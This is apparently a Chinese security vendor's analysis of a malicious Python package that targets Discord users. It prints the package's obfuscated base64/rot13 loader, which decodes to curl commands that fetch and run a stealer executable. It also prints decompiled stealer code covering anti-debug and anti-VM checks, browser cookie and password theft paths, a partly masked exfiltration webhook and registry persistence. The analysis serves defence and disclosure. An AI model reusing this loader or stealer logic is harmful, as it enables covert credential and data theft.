软件供应链攻击是当前网络安全领域的热点,天问系统作为面向软件供应链安全领域的分析平台,对Python、NPM、Maven等主流软件生态进行长期、持续的监测和分析,率先发现并陆续披露了多个攻击案例。

攻击简介

2022年1月11日,天问Python供应链监测模块再次捕获到一个攻击Discord的包,得益于监测模块的实时性,包上传的第一时间便捕获到其恶意行为发出告警,我们也将该包的信息同步给了官方。

天问Python供应链监测模块于两周前曾经捕获过四个攻击Discord的包,详情可见:【天问】攻击者瞄准Discord,窃取银行卡信息。此次攻击与上次略有不同,上次攻击者将恶意代码直接写在Python文件内,阅读代码可直接了解其攻击手法。此次攻击者在代码中仅留下下载两个可执行文件的指令,并将代码进行多次编码,使其攻击更具隐蔽性。代码如下所示。

1
2
3
4
5
6
7
8
import base64, codecs
magic = 'I3N0b3AgdHJ5aW5nIHRvIGRlb2JmdXNjYXRlIHUgc2tpZCAxDQojc3RvcCB0cnlpbmcgdG8gZGVvYmZ1c2NhdGUgdSBza2lkIDINCiNzdG9wIHRyeWluZyB0byBkZW9iZnVzY2F0ZSB1IHNraWQgMw0KI3N0b3AgdHJ5aW5nIHRvIGRlb2JmdXNjYXRlIHUgc2tpZCA0DQojc3RvcCB0cnlpbmcgdG8gZ'
love = 'TIiLzM1p2AuqTHtqFOmn2yxVQHAPvAmqT9jVUElrJyhMlO0olOxMJ9vMaImL2S0MFO1VUAenJDtAt0XV3A0o3NtqUW5nJ5aVUEiVTEyo2WzqKAwLKEyVUHtp2gcMPN3QDbwp3EipPO0paycozptqT8tMTIiLzM1p2AuqTHtqFOmn2yxVQtAPvAmqT9jVUElrJyhMlO0olOxMJ9vMaImL2S0MFO1VUAenJ'
god = ' QgOQ0KIyBtYWRlIGJ5IGxpdGhpdW0jMDAwMg0KDQppbXBvcnQgb3MNCm9zLnN5c3RlbSgiY3VybCBodHRwczovL2Nkbi5kaXNjb3JkYXBwLmNvbS9hdHRhY2htZW50cy85MjQwOTY5ODU1NTA2OTI0NTIvOTMwMzAyNTE1MDk3MDAyMDM0L3BhY2thZ2UuZXhlIC0tb3V0cHV0IGxpdGhpdW0uZXhlICY'
destiny = 'zVUA0LKW0VTkcqTucqJ0hMKuyVvxAPz9mYaA5p3EyoFtvL3IloPObqUEjpmbiY2Axov5xnKAwo3WxLKOjYzAioF9uqUEuL2ugMJ50pl85ZwDjBGL5BQH1AGN2BGV0AGViBGZjZwx5BGH0AmZ4AwZ0AmtmY2AcpzA1pl5gpQZtYF1iqKEjqKDtpzI0LKWxYz1jZlNzWvOmqTSlqPOlMKEupzDhoKNmVvx='
joy = '\x72\x6f\x74\x31\x33'
trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29')
eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'<string>','exec'))

通过观察其对于变量名称的定义以及编码的使用,我们认出其代码是通过DevelopmentTools.Net提供的python-obfuscator工具自动生成,对上述代码中的变量进行Unicode编码转换后得到如下结果。

1
2
joy = 'rot13'
trust = magic + codecs.decode(love, joy) + god + codecs.decode(destiny, joy)

即trust为四个字符串拼接而成的大字符串,在对其进行了拼接并解码后,我们得到如下代码片段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#stop trying to deobfuscate u skid 1
#stop trying to deobfuscate u skid 2
#stop trying to deobfuscate u skid 3
#stop trying to deobfuscate u skid 4
#stop trying to deobfuscate u skid 5
#stop trying to deobfuscate u skid 6
#stop trying to deobfuscate u skid 7
#stop trying to deobfuscate u skid 8
#stop trying to deobfuscate u skid 9
# made by lithium#0002

import os
os.system("curl https://cdn.discordapp.com/attachments/924096985550692452/930302xxxxxx002034/package.exe --output lithium.exe && start lithium.exe")
os.system("curl https://cdn.discordapp.com/attachments/924096985550692452/930299xxxxxx634783/circus.mp3 --output retard.mp3 && start retard.mp3")

在下载到这两个文件后,我们迅速对其进行了分析,其具体行为如下所示。

样本信息

文件名:lithium.exe

来源:2022-1-11 天问Python 供应链监测

CRC32: 38B51880
MD5: 7B9AFA29F50BBB4D122AD408823041ED
SHA-1: 0FAF80A0DDFFEDE7EC914A9F73172E0BBF559F4A
SHA-256: 1ECBDF16F3FA4F856B38FA3BA9C65695B13C24F3D5AA1235D8F19B029A2B0B7C

开发语言:CSharp(.NET 4.0)

分析详情

Main 函数如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Stealer.Program
// Token: 0x06000003 RID: 3 RVA: 0x00002050 File Offset: 0x00000250
private static void Main()
{
Program.HideConsole();
Program.GrabIP();
Program.GrabToken();
Program.GrabProduct();
Program.GrabHardware();
Browser.StealCookies();
Browser.StealPasswords();
Program.Minecraft();
Program.Roblox();
Program.CaptureScreen();
Console.WriteLine("Task complete");
}

样本会在Program.HideConsole()方法中使用 user32.dll模块中的ShowWindow函数隐藏窗口。

1)反调试

样本在Program.DetectDebug()方法中,使用Debugger.IsAttached值检测托管调试器,达到反调试目的;

1
2
3
4
5
6
7
8
private static void DetectDebug()
{
if (!Debugger.IsAttached)
{
return;
}
Environment.Exit(0);
}

2)反虚拟机

样本在Program.DetectRegistry()方法中,通过检测注册表中的特定位置键值判断是否处于沙箱运行,达到反沙箱目的,具体逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
private static void DetectRegistry()
{
List<string> list = new List<string>();
List<string> list2 = new List<string>
{
"vmware",
"virtualbox",
"vbox",
"qemu",
"xen"
};
string[] array = new string[]
{
"HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 2\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0\\Identifier",
"SYSTEM\\CurrentControlSet\\Enum\\SCSI\\Disk&Ven_VMware_&Prod_VMware_Virtual_S",
"SYSTEM\\CurrentControlSet\\Control\\CriticalDeviceDatabase\\root#vmwvmcihostdev",
"SYSTEM\\CurrentControlSet\\Control\\VirtualDeviceDrivers",
"SOFTWARE\\VMWare, Inc.\\VMWare Tools",
"SOFTWARE\\Oracle\\VirtualBox Guest Additions",
"HARDWARE\\ACPI\\DSDT\\VBOX_"
};
string[] array2 = new string[]
{
"SYSTEM\\ControlSet001\\Services\\Disk\\Enum\\0",
"HARDWARE\\Description\\System\\SystemBiosInformation",
"HARDWARE\\Description\\System\\VideoBiosVersion",
"HARDWARE\\Description\\System\\SystemManufacturer",
"HARDWARE\\Description\\System\\SystemProductName",
"HARDWARE\\Description\\System\\Logical Unit Id 0"
};
foreach (string text in array)
{
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(text, false);
if (registryKey != null)
{
list.Add("HKLM:\\" + text);
}
}
foreach (string text2 in array2)
{
string name = new DirectoryInfo(text2).Name;
string text3 = (string)Registry.LocalMachine.OpenSubKey(Path.GetDirectoryName(text2), false).GetValue(name);
foreach (string text4 in list2)
{
if (!string.IsNullOrEmpty(text3) && text3.ToLower().Contains(text4.ToLower()))
{
list.Add("HKLM:\\" + text2 + " => " + text3);
}
}
}
if (list.Count == 0)
{
return;
}
Environment.Exit(0);
}

3)信息收集及回传

样本会通过访问https://ip4.seeip.org获取受害机器的出口IP地址:

1
Task<HttpResponseMessage> async = httpClient.GetAsync("https://ip4.seeip.org");

并进一步通过访问http://ip-api.com//json/接口获取用户其他详细地址信息:

1
Task<HttpResponseMessage> async = httpClient.GetAsync("http://ip-api.com//json/" + this.ip);

读取用户Discord程序ldb类型敏感隐私文件:

1
2
3
4
5
6
7
8
9
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
string folderPath2 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
Grabber.target.Add(folderPath + "\\Discord");
Grabber.target.Add(folderPath + "\\discordcanary");
Grabber.target.Add(folderPath + "\\discordptb");
Grabber.target.Add(folderPath + "\\\\Opera Software\\Opera Stable");
Grabber.target.Add(folderPath2 + "\\Google\\Chrome\\User Data\\Default");
Grabber.target.Add(folderPath2 + "\\BraveSoftware\\Brave-Browser\\User Data\\Default");
Grabber.target.Add(folderPath2 + "\\Yandex\\YandexBrowser\\User Data\\Default");

获取Chrome 浏览器cookies 信息:

1
2
string text = User.localAppData + "\\Google\\Chrome\\User Data\\default\\Cookies";
string text2 = User.tempFolder + "\\cookies.db";

获取Chrome 浏览器登录密码信息:

1
string text = User.localAppData + "\\Google\\Chrome\\User Data\\default\\Login Data";

获取Roblox 信息:

1
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Roblox\\RobloxStudioBrowser\\roblox.com", false))

还包含其他如注册表中获取Windows 产品密钥,通过WMI(Win32_OperatingSystem)获取操作系统信息,注册表获取CPU核心数信息,通过WMI(Win32_VideoController)获取GPU信息,磁盘信息,通过WMI(Win32_PhysicalMemory)获取内存信息,屏幕截图,并将上述信息通过webhook回传至Discord频道内。

1
https://discord.com/api/webhooks/xxxxxxxxxxxxxxxxxx/w84DC2rdmTmn0ZuiDOQYNMufYdRcAlb8VellGnu0ZFssVCw1l526I98EZROVzhwY_Q0t

4)自启动

该样本通过写入注册表项SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run实现自启动,实现常驻:

1
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true))

攻击者甚至还在攻击成功后,在用户电脑上播放了一段Circus音乐,该音乐多被用于马戏团表演中小丑出场,可见该作者的嚣张。天问Python供应链监测模块成功监测到该攻击,我们也将持续关注Python源的生态健康。